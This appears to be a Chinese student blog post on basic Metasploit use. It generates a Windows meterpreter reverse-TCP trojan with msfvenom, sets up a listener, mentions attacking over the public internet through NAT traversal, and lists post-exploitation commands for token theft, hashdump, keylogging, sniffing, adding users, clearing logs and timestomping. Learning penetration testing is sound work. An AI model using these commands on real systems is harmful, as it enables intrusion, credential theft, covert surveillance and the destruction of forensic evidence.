msfconsole的简单使用
文章目录
- 前言
- 一、入侵步骤
- ps之后通过学习了解了内网穿透
- 二、msfconsole常用命令
- 总结
前言
Metasploit Framework 是非常优秀的开源渗透测试框架。
Metasploit 渗透测试框架(MSF3.4)包含3功能模块:msfconsole、msfweb、msfupdate。msfupdate用于软件更新,建议使用前先进行更新,可以更新最新的漏洞库和利用代码。msfconsole 是整个框架中最受欢迎的模块,个人感觉也是功能强大的模块,所有的功能都可以该模块下运行。msfweb 是Metasploit framework的web组件支持多用户,是Metasploit图形化接口。
一、入侵步骤
先生成一个木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o .exe
之后进入msfconsole
使用到他的监听模块
use exploit/multi/handler
设置payload
set payload windows/meterpreter/reverse_tcp
设置监听端口和ip与之前生成的木马一致
之后监听端口,在木马文件被执行后,则会控制此电脑
之后可以获取目标的shell
ps之后通过学习了解了内网穿透
简单实现了内网穿透进行了公网攻击
与内网不同的是生成的木马变成了用服务器的端口和ip地址。监听端口为服务器端口,监听ip为本机127.0.0.1
其他与内网攻击相同
二、msfconsole常用命令
命令: show exploit 列出metasploit框架中的所有渗透攻击模块。
命令:show payloads列出metasploit框架中的所有攻击载荷。
命令:show auxiliary列出metasploit框架中的所有辅助攻击载荷。
命令:search name查找metasploit框架中所有的渗透攻击和其他模块。
命令:info展示出制定渗透攻击或模块的相关信息。
命令:use name装载一个渗透攻击或模块。
命令:LHOST你本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用。
命令:RHOST远程主机或是目标主机。
命令:set function设置特定的配置参数(EG:设置本地或远程主机参数)。
命令:setg function以全局方式设置特定的配置参数(EG:设置本地或远程主机参数)。
命令:show options列出某个渗透攻击或模块中所有的配置参数。
命令:show targets列出渗透攻击所有支持的目标平台。
命令:set target num指定你所知道的目标的操作系统以及补丁版本类型。
命令:set payload name指定想要使用的攻击载荷。
命令:show advanced列出所有高级配置选项。
命令:set autorunscript migrate -f.在渗透攻击完成后,将自动迁移到另一个进程。
命令:check检测目标是否选定渗透攻击存在相应的安全漏洞。
命令:exploit执行渗透攻击或模块来攻击目标。
命令:exploit -j在计划任务下进行渗透攻击(攻击将在后台进行)。
命令:exploit -z渗透攻击完成后不与回话进行交互
help
打开meterpreter使用帮助。
run scriptname
运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。
sysinfo
列出受控主机的系统信息。
ls
列出目标主机的文件和文件夹信息。
use priv
加载特权提升扩展模块,来扩展metasploit库。
ps
显示所有运行的进程以及相关联的用户账户。
migrate PID
迁移到一个指定的进程ID(PID号可通过ps命令从主机上获得)。
use incognito
加载incognito功能(用来盗窃目标主机的令牌或假冒用户)
list_tokens -u
列出目标主机用户的可用令牌。
list_tokens -g
列出目标主机用户组的可用令牌。
impersonate_token DOMAIN_NAME\USERNAME
假冒目标主机上的可用令牌。
steal_token PID
盗窃给定进程的可用令牌并进行令牌假冒。
drop_token
停止假冒当前令牌。
getsystem
通过各种攻击向量来提升系统用户权限。
execute -f cmd.exe -i
执行cmd.exe命令并进行交互。
execute -f cmd.exe -i -t
以所有可用令牌来执行cmd命令并隐藏该进程。
rev2self
回到控制目标主机的初始用户账户下。
reg command
在目标主机注册表中进行交互,创建,删除,查询等操作。
setdesktop number
切换到另一个用户界面(该功能基于那些用户已登录)。
screenshot
对目标主机的屏幕进行截图。
upload file
向目标主机上传文件。
download file
从目标主机下载文件。
keyscan_start
针对远程目标主机开启键盘记录功能。
keyscan_dump
存储目标主机上捕获的键盘记录。
keyscan_stop
停止针对目标主机的键盘记录。
getprivs
尽可能多的获取目标主机上的特权。
uictl enable keyboard/mouse
接管目标主机的键盘和鼠标。
background
将你当前的metasploit shell转为后台执行。
hashdump
导出目标主机中的口令哈希值。
use sniffer
加载嗅探模式。
sniffer_interfaces
列出目标主机所有开放的网络端口。
sniffer_dump interfaceID pcapname
在目标主机上启动嗅探。
sniffer_start interfaceID packet-buffer
在目标主机上针对特定范围的数据包缓冲区启动嗅探。
sniffer_stats interfaceID
获取正在实施嗅探网络接口的统计数据。
sniffer_stop interfaceID
停止嗅探。
add_user username password -h ip
在远程目标主机上添加一个用户。
clearev
清楚目标主机上的日志记录。
timestomp
修改文件属性,例如修改文件的创建时间(反取证调查)。
reboot
重启目标主机。
总结
msfconsole在上学期暑期集训时就有所接触了解,现在重新推到重新来过了一遍,感觉自己相比以前对那些命令渐渐不再陌生,懂得了一些命令的含义。
这种攻击方法依然是依赖于同一局域网的存在,在相同网段下可以获取别人电脑的权限。
不过今天通过一些资料了解到通过内网穿透好像是可以实现公网之间的渗透。
msfconsole的简单使用相关推荐
- 经典利用永恒之蓝漏洞对Windows操作系统进行攻击
利用永恒之蓝对Windows进行攻击 环境搭建:kali.Windows server 2008R2.Windows 7,其中Windows server 2008R2\WIN7为靶机. 首先简单介绍 ...
- 冰蝎下的反弹shell连接msfconsole
文章目录 前言 一.使用木马getshell 1.搭建环境 二.冰蝎配置 三.kali监听 总结 前言 好久没碰美少妇(MSF)了,恰巧昨天在群里水群,有个表哥问为什么msf监听不到数据.为此我带着表 ...
- msfvenom生成木马的简单利用
msfvenom生成木马的简单利用 1.简介 本篇文章将会用msfvenom生成一个windows下可执行木马exe的文件,用kali监听,靶机win10运行木马程序,实现控制靶机win10. 2.实 ...
- 网络安全 Kali虚拟机的安装和简单使用
一.前言 最近突然对网络安全有兴趣,便升级了电脑配置,下载了Kali Linux和几个测试机,下面记录一下下载安装和简单使用的全过程 二.软件工具准备: Vmware 虚拟机 v12或V15版本 Wi ...
- MSF生成木马及木马的简单使用
0x00 前言 本文将介绍有关MSF木马模块的简单使用方式,介绍常见的几种木马生成方式,如有不对的地方,欢迎大家在评论区指正. 由于本文仅对部分模块的简单使用进行说明,更多信息请参考官方网址MSFVE ...
- OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)
Heartbleed 心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议.它于2012年被引 ...
- Metasploit数据库连接及其简单应用
Metasploit数据库连接及其简单应用 连接数据库 1 第一步开启数据库服务 2 第二步查看数据库状态-----有没有启动(看红色部分) 3 第三步切换用户 4 第四步创建用户 注释:xiangc ...
- 利用Kali Linux进行一些简单可操作的攻击
利用Kali Linux进行一些简单可操作的攻击 文章目录 一.arp欺骗断网 二.内网DDOS 三.Metasploit木马远控 四.SQL注入 一.arp欺骗断网 arpspoof -i eth0 ...
- metasploit msfconsole 命令
metasploit msfconsole 命令 metasploit msfconsole 命令 复制代码 msf > help db_autopwn Commands =========== ...
- msfconsole的使用,MSF17-010(虚拟机)的实验
一.介绍永恒之蓝: 二.环境 宿主机kali: IP地址 靶机win7: IP地址 然后关闭靶机防火墙,将kali,和win7的网络模式更改为NAT模式,然后使用宿主机和靶机ping对方的机器,保证p ...
最新文章
- IOS NSInvocation应用与理解
- DiskLruCache part 1
- 没有人比你更在乎你的未来--李开复
- DSP 投放的基本流程和算法
- SpringBoot:与MyBatis合作
- flask开启调试的四种模式
- 《c语言深度剖析》读书笔记
- 斯坦福大学教育学院院长:学习本身就是一门学问
- linux命令cat过滤注释行和空白行
- Pandas DateOffset
- python os.remove拒绝访问_「进阶Python」第八讲:代理模式
- ROS-cmakelists的解释
- 帆软报表嵌套在iframe中,HTML的fieldset 定义的为自定义导出按钮
- 2010计算机一级选择题,计算机一级考试选择题题库(2010年最新版)
- 电脑计算机硬盘坏了如何修理,笔记本电脑硬盘坏了怎么修复怎么办
- 【最小开发板】Attiny85开发与实践
- 消息: Automation 服务器不能创建对象
- 【渝粤题库】陕西师范大学202161社会保障学 作业(高起专)
- git push --set-upstream origin wangxiao
- ★如何解释特修斯之船问题?
热门文章
- 三菱plc 毕设_软件分享 | 学习PLC,这个PLC仿真软件你需要知道
- 安装win10系统以及升级win10 home至enterprise版本
- i.MX6ULL处理器GPIO寄存器配置原理
- ahk写入excel单元格_AHK(二):设置Excel操作快捷键
- IOS AirPrint功能
- 数据迁移 java_数据迁移的成功策略
- java手机解锁密码_Appium 解决手势密码 (java篇)
- PXE启动错误代码一览表
- amd服务器开启虚拟化技术,在AMD平台上实现KVM虚拟化技术
- Ribbon 和 wowza 的集成开发